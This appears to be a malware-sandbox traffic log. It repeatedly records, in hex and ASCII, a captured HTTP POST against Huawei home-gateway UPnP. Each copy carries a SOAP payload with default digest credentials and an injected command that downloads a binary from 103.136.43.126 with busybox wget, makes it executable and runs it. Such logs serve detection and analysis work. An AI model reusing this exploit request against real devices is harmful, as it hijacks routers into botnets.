3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
